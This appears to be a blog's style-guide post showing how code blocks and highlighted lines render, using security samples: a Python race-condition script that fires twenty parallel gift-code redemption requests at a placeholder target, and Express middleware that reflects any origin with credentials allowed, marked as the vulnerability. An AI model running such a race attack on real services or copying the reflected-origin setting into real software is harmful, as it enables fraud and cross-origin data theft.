Style Guide: What This Blog Can Render

This post is a living reference for every formatting feature this blog supports. I use it to test rendering after changes and as a quick lookup when writing new posts.

Code Blocks

Syntax-highlighted code with a file title:

exploit.py

import httpx
import asyncio
 
async def race_condition(target: str, token: str):
    """Send parallel requests to exploit a TOCTOU window."""
    async with httpx.AsyncClient() as client:
        tasks = [
            client.post(
                f"{target}/api/redeem",
                json={"code": token},
            )
            for _ in range(20)
        ]
        results = await asyncio.gather(*tasks)
        succeeded = [r for r in results if r.status_code == 200]
        print(f"Redeemed {len(succeeded)} times (expected: 1)")
 
asyncio.run(race_condition("https://target.example", "GIFT-1234"))

Inline code: process.env.SECRET_KEY or x-forwarded-for.

Highlighted Lines

Draw attention to specific lines:

app.use((req, res, next) => {
  const origin = req.headers.origin;
  // These two lines are the vulnerability:
  res.setHeader("Access-Control-Allow-Origin", origin);
  res.setHeader("Access-Control-Allow-Credentials", "true");
  next();
});